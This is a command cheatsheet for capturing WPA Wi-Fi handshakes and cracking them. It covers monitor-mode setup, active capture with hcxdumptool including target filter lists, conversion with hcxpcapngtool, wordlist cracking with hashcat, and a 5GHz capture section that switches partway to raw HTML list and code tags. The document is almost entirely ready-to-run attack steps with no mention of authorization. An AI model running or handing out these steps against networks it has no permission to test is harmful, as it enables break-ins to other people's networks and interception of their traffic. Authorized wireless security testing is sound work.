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Wi-Fi Handshake Capture & Crack Cheatsheet 📡

Table of Contents 📋

Preliminary Commands & Information Retrieval
Capture & Conversion Phase
Additional Scans & Information
Cracking Phase
5GHz Network Capturing Cheat Sheet

Preliminary Commands & Information Retrieval 🛠

Secure Copy from Remote Device

scp -r root@172.16.42.1:/root/example.pcapng /home/username/Desktop

📖 Downloads files from remote devices using SCP.

Check Wireless Interfaces

iwconfig

📖 Displays wireless network interface details.

Kill Interfering Services

airmon-ng check kill

📖 Stops services that might interfere with wireless tools.

Capture & Conversion Phase 🎯

Set Wireless Card to Monitor Mode

sudo ip link set wlan0 down

sudo iw wlan0 set monitor control

sudo ip link set wlan0 up

📖 Prepares the wireless card for capture.

Capture Handshakes with hcxdumptool

hcxdumptool -i wlan1 -o dumpfile.pcapng --active_beacon --enable_status=15

📖 Captures packets from networks.

Convert Captured File for Hashcat

hcxpcapngtool -o hash.hc22000 -E essidlist dumpfile.pcapng

📖 Converts packets for password cracking.

Additional Scans & Information 📡

Scan for Nearby Networks

hcxdumptool --do_rcascan -i wlan1

📖 Scans and displays nearby networks.

Cracking Phase 🔐

Crack with Hashcat

hashcat -m 22000 hash.hc22000 wordlist.txt

📖 Uses hashcat to attempt password cracks.

5GHz Network Capturing Cheat Sheet 📶

1. Install Necessary Tools

sudo apt-get install hcxdumptool hcxtools

<li><strong>2. Check for 5GHz Support</strong></li>
<code>iw list</code>

<li><strong>3. Enable Monitor Mode</strong></li>
<code>sudo ip link set wlan0 down</code>
<code>sudo iw dev wlan0 set type monitor</code>
<code>sudo ip link set wlan0 up</code>

<li><strong>4. Set to 5GHz Channel</strong></li>
<code>sudo iw dev wlan0 set channel 36</code>

<li><strong>5. Identify Target Networks</strong></li>
<code>sudo hcxdumptool -i wlan0 --scan</code>

<li><strong>6. Capture Traffic</strong></li>
<code>sudo hcxdumptool -i wlan0 --enable_status=1 -o output.pcapng --filterlist=filterlist.txt --filtermode=2</code>

<li><strong>7. Analyze Captured Traffic</strong></li>
<code>hcxpcaptool -z output.hccapx output.pcapng</code>

<li><strong>8. Troubleshooting</strong></li>
<code>sudo iw reg get</code>
<code>sudo iw reg set US</code>

<li><strong>9. Switch Back to 2.4GHz</strong></li>
<code>sudo ip link set wlan0 down</code>
<code>sudo iw dev wlan0 set type monitor</code>
<code>sudo iw dev wlan0 set channel 6</code>
<code>sudo ip link set wlan0 up</code>

<li><strong>10. List 2.4GHz Channels</strong></li>
<code>iw phy phy0 channels</code>
<code>iwlist wlan0 channel</code>

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